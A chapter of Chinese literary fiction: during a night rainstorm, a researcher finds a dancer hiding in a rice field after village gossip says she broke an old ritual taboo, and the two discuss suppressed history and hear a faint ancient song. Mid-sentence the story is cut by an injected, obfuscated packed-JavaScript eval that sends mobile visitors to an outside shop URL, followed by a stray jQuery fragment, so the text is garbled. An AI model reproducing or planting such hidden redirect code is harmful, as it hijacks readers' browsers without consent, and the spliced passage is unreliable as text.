雨是后半夜落下来的，来得毫无征兆。
先是江面上卷过来一阵闷沉沉的风，把河滩边的芭蕉叶吹得哗啦乱响。卷着河滩淤泥、江水腥气，一股一股扑向圩镇。没过多久，细密的雨丝，就铺满整片连滩。
白日晒得发烫的青石板迅速浸出暗色水痕，缝隙积起浅浅水洼，人踩过去，溅起细碎水花。田埂泥土被雨水泡软，黄泥厚厚黏住鞋底。每挪一步，脚都坠得发沉。
巷口好几户屋檐飘起缕缕薄艾草烟，本地人逢冷雨便烧干艾草驱潮赶虫。淡苦的焦气混进雨雾，顺着街巷低低漫开，贴在人的皮肤上，挥散不开。
白日传开的闲话没有消停，彩排临时叫停，舞队众人三三两两四散离场。
圩巷廊下，聚满躲雨的本地人。搬竹凳的老人、来不及推车的小贩、攥着蓑衣接孩子归家的妇人，挤作一团，说话全都压着嗓子。舞队几个年轻队员挤在廊柱角落，也在低声交头。
有人怕温穗桢惹出来的闲话连累整支队伍，往后拿不到项目补贴，说话犹犹豫豫，不敢高声议论。有人时不时朝稻田方向瞟两眼，脚在积水里来回蹭，拿不准要不要上前劝一句，终究没人迈步。
卖腌酸萝卜的老婆婆守着竹筐，筐口盖一块起球的旧塑料布，护住筐里的酸荞头。枯瘦指尖反复摩挲竹筐开裂的筐沿，侧过身，跟身旁妇人咬耳朵。
话语被雨揉得七零八落，大半围着温穗桢，说她碰了祭楼旧忌讳，一旦出事，河滩整片田垌都要受牵连。
没人亲眼见过灾祸，闲话传久了，就成不少人心里默认的道理。乡土的排挤从不大吵大闹，多是不动声色的疏远。方才散场，两个往日常给舞队送自家腌菜的婶子，远远瞥见温穗桢的背影，脚步一顿，直接拐进另一条巷弄，刻意避开。
排练棚木柱边丢着一把村民前些日子送来纳凉的老竹扇，被夜风刮进泥水，竹骨发黑，扇面糊满黄泥，没人弯腰去捡。
廊檐下舞队的人还未散尽。
冼聿淮蹲在地上收拾彩排道具，把散落的竹编禾穗收拢捆牢，挪到廊檐高处避雨。
几处竹篾日晒松脱，禾穗歪垂下来。他一遍遍拉扯绳结，想要捆齐。
竹篾划开一道细口，淡红的血混着雨水渗出来，他浑不在意，随手在裤腿蹭了蹭，又低头整理散落的绸布舞巾。
苏望畲和褚仰耘吵开，争执要不要继续删减古舞段落。
苏望畲一心向着文旅改编，嫌老舞步沉闷没有流量。褚仰耘心里别扭，却说不出成套道理，只反复嘟囔不该改得太离谱。
几句争执过后，苏望畲火气上来，摔掉艳色绸布舞袖，拎起背包，一头扎进雨幕。
褚仰耘独自靠在水泥廊柱，垂手盯着石板缝隙流淌的浑水，不去追，也不辩解。指尖不停捻着舞服袖口脱开的白丝线，捻断一根，又扯下一根。
口袋里陆时缜刚下发的演出补贴信封，已经被捏得满是褶皱。他手指隔着布料，反复摩挲信封边角。廊角堆着几只舞鞋，有队员已经悄悄把绣着传统禾穗纹样的旧舞鞋，塞到杂物堆最底下。
罗耆恪站在更远的屋檐，攥着那根盘磨发亮的竹杖。他不掺和年轻人的争执，只望向被雨雾吞没的河滩。指尖一下下叩击杖身，笃笃的轻响，淹没在雨声里。
脚边落了几片被风雨打落的芭蕉碎叶，他低头瞥了一眼，抬脚轻轻把碎叶踢开。伫立许久，才扶着竹杖，迟缓走回老宅。
江循攸没有回江边租住的老宅院，帆布挎包边角磨得起毛发白，笔记本、半截短铅笔，还有那粒梦里得来的干枯古禾穗，全都塞在包里。
斜飘冷雨打湿帆布，吸饱水汽的包，沉甸甸压肩。出门仓促没带伞，只套一件薄外套。
雨水顺着衣料缝隙往里钻，小臂浮起一层细密鸡皮。口袋里半块圩市买的芭蕉米饼受潮发软，糖油渗出来，边角糊在内衬布袋上。
寒气往骨头里钻，她会无意识用拇指反复蹭挎包磨破的布角，自己都未曾察觉。
嘴唇冻得发乌，牙齿偶尔不受控轻磕，又被她抿嘴强行压下。指尖久淋冷水渐渐发麻，捏笔记本的力道都稳不住。
笔记本好几次要从臂弯滑下来，她只能用力把本子往怀里夹紧。雨珠顺着后颈流进衣领，一阵一阵的冷意，顺着脊背往下窜。
她走到舞队临时排练棚，棚内空荡荡，几张长条木凳倒扣在地。地上散落禾穗碎屑，半只踩扁的塑料矿泉水瓶，歪在积水洼。问过冼聿淮，对方抬下巴指向稻田深处，说温穗桢半个钟头前就往田垌去，什么雨具都没拿。
江循攸踩着泥泞田埂往外走，黄泥糊满帆布鞋鞋帮，抬脚都要费几分力气。连片晚稻被雨水压弯秆子，水珠顺着禾叶坠落，砸进田水，漾开转瞬即逝的涟漪。
大雨浇熄夏夜聒噪虫鸣，只剩雨打禾叶沙沙作响。南江奔流的闷响，沉沉埋在雨幕之下，贴在耳膜。
镇子灯火隔雨雾，晕成一团团昏黄斑光。越远越稀薄，偶有一户熄灯，光晕便融进沉沉夜色。雨打在脸上，隔一阵就要眨眨眼，冲掉糊住睫毛的雨珠。
转过田埂弯道，一丛矮芒草围起的凹地里，她看见了温穗桢。
人蹲在泥地上，双膝收拢抵住胸口，胳膊环住身子，把自己缩起来。
外婆传下的麻绳手环被雨水泡透，绳体发胀，几处毛线头散开来。长发未束，湿漉漉贴满脖颈后背，大半身子直接曝在冷雨之中。
听不见哭声抽噎，只有肩膀极细微不受控的颤动，像是拼尽全力，把所有情绪死死憋在体内，不愿被旁人看见。
田埂漫来的积水浸上裤脚，泥水顺着布料纹路缓缓上洇。一截冲断的稻秆漂在浑水里，温穗桢脚尖无意识，一下又一下碾过它。
稻秆碎开，又被水流推回脚边。裤管吸饱泥水，沉甸甸贴住小腿。她时不时会微微挪一下膝盖，缓解泥水里浸久带来的酸胀。
江循攸放轻脚步，鞋底碾过湿野草。不上前劝慰，只隔半步站定，任由冷雨浇遍全身。眼镜镜片迅速蒙满雨珠，景物糊成软乎乎色块。
她抬手用手背胡乱抹一把，不消几秒，水雾又重新覆上来。
时间慢慢淌，雨势不见减弱。
泥土混着禾苗青涩的气息，闷沉沉裹住二人。皮肤被冷水浸久，触觉慢慢发钝，连周遭虫鸣，都仿佛隔了一层厚水。大雨压制蚊虫，零星几只飞虫沾了雨水，便瘫软落在皮肤上。
最先开口的是温穗桢，嗓音被冷雨泡得沙哑，大半被哗哗雨声吞噬。
“你怎么找过来的？”
“排练棚那边，冼伯说你往这边来了。”江循攸把挎包向上拽了拽，包底积的雨水滴滴答答落进泥地，“圩上那些闲话，我听见不少。”
温穗桢伸手抠挖田埂泡松的泥土，黄泥一块块掰碎落进水坑，闷响一声，便融于浑水。指甲缝很快塞满褐黄泥垢。
“嗯，圩日散集就传开了，躲不开。”
“那些说法根子不是女子登楼招祸。”雨珠时不时打在嘴唇，江循攸偏头避开斜飞雨丝，“残存旧礼写得分明，是宗族划定的主祭位次，神位主祭归男，民位祈福交给女子。是后人把礼制尊卑，扭曲成不祥的说法。”
温穗桢许久没有答话，雨水顺着下颌一滴滴坠进田水，脖颈被冷雨浸得发红，她微微缩了缩肩膀。
“道理外婆零零碎碎跟我讲过。可道理，压不住普通人心里的怕。”
指尖还在无意识搓那根泡胀的麻绳手环。
“罗耆恪叔公守老规矩，不是凭空迷信。他亲眼见过旧时代巫者耗干性命献祭。村里普通人接触不到族谱残卷，看不到史料，一代代听下来，就只记住‘越位次就要出事’。往后但凡涨大水、遇大旱，人人第一反应就往这件事上面归罪。我硬要冲上去，遭殃的不止我一个。舞队几十口人，还有外婆留下那点名声，全都要被拖下水。”
江循攸垂眼看向脚下漫流的积水，冰水渗进鞋腔，脚底一阵阵钝冷。
刚来连滩，她笃信白纸黑字的史料足够有力，证据摆开就能吹散流言。可站在这片被冷雨浇透的稻田，纸上文字陡然变得轻飘飘。
年少记忆浮上来，老家本土非遗被资本肆意拆解篡改，老传承人无力回天、抱憾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894736|212821||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
离世。隔许多年，那份沉重的无力感，再度覆上来。
“我刚来，总觉得把涂改的史实挖出来，很多事就能了结。”江循攸语速放缓，句间留有停顿，雨声打乱她的语序，“我太信纸面的真相，忘了这里是活人过日子的乡土。真相掀开，随之而来的动荡，镇上的人未必接得住。”
这是抵达连滩之后，她第一次放下考据者非黑即白的强硬姿态，不再拿文献标尺苛责现实。
雨雾之中温穗桢抬起脸，视线朦朦胧胧，分不清脸上流淌的是雨水还是别的。
“那你还非要去找那些被埋起来的旧事，就不怕闹得全镇都不得安宁？”
“我怕。”江循攸指节冻得泛青，没有回避，“可万历那个主巫，顶着忤逆宗族的代价换村寨丰年，到头来连名字都被抹掉。我们这代人再不敢碰，她就真的彻底消失，没人记得她做过什么。”
凹地水洼越扩越大，水面摇晃，映出两道扭曲模糊的人影。远处街巷灯火隔雨帘，昏昏沉沉团成一片。
“外婆私下教我的整套古歌，我从来不敢当众拿出来。”温穗桢低头望着沾满泥的指尖，“调子词句都是她偷偷记下来的，一旦摆上台，非议铺天盖地就过来。一边不想祖辈东西断掉，一边全队糊口全攥在文旅项目手里，两头压过来，我不知道往哪边靠。”
“不用逼自己马上做选择。”江循攸望向漆黑沉落的河滩方向，“现在物证不全。涂改的族谱、铜铃残片，都锁在文化馆铁柜。河滩那处塌陷土坑，也还没有勘探。现在把线索全抛出去，只会落个作乱生事的口实。”
温穗桢嘴角扯了扯，算不上笑，只是长久紧绷之后一丝疲惫的松垮。
“搞研究的人，也懂得把真相先按住。”
“以前我总把顺序搞反。”江循攸抬脚碾碎脚边一块浮土，“史料是死的，守史料的是人。”
雨还在下，田道传来踩踏泥水的脚步声，是冼聿淮。
两件加厚塑料雨衣搭在肩头，裤管卷到小腿，沾满黄泥，走得很慢。隔着密雨看清凹地里两道湿透的人影，脚步顿住，不再往前凑。
他斟酌片刻，不愿上前打搅二人，走到一块高出水面的大石头边，把雨衣平铺在上，扬声喊话，声音被雨声切得断断续续。
“雨衣搁石头上了。雨猛，田里待久容易受凉，别熬得太晚。”
说完不再停留，转身踩着泥泞原路离开，背影很快消进茫茫雨雾。
温穗桢看向那块石头，雨衣摊开，雨花不断溅上去，薄薄积起一层雨水。
“冼伯心里都明白，就是不肯站出来掺和是非。”
“镇上不少人都是这样。”江循攸顺着视线望过去，“分得清是非，但不愿出头，只求自家安稳。”
两个人陷入长久沉默。
雨打禾秆沙沙作响，南江水声轰鸣不绝，零星蛙鸣从水田深处飘上来。江面吹来的风裹满水汽，扫过整片田垌。
闷雷从很远的江面滚过来，隆隆声慢慢逼近，空气微微震颤。雷声还没落到头顶，云层窜出一道微弱电光，转瞬熄灭。
就在雷声漫过稻田河滩的一瞬，穿荡禾秆的风里飘来一缕残缺悠长的歌声。
调子古旧沉缓，字句破碎模糊，辨不全唱词，说不清声音来自滩涂，还是藏在无边稻海之间。那缕声响轻飘飘浮在风雨中，一闪而过。
温穗桢脊背骤然绷紧，身子微微前倾，侧耳竭力捕捉，歌声已经散尽，只剩滂沱落雨的嘈杂。她转头看向江循攸，眼底浮起一层不确定。
“你刚刚……听见没有？”
江循攸还维持侧耳倾听的姿态，耳尖冻得通红，外套下摆滴滴答答往下淌水。
“听见了。”
再也没有第二回。
古旧唱调彻底隐入风雨，不留半分余响。雨丝密密垂落，田水汩汩漫淌，远处圩镇灯火依旧昏蒙。
两人谁也不去拆解这异响，不去分辨是风声幻听还是别的来由，就静静立在雨夜稻田之中。
石头上两件雨衣依旧摊在露天石面，积下浅浅一汪雨水，无人去取。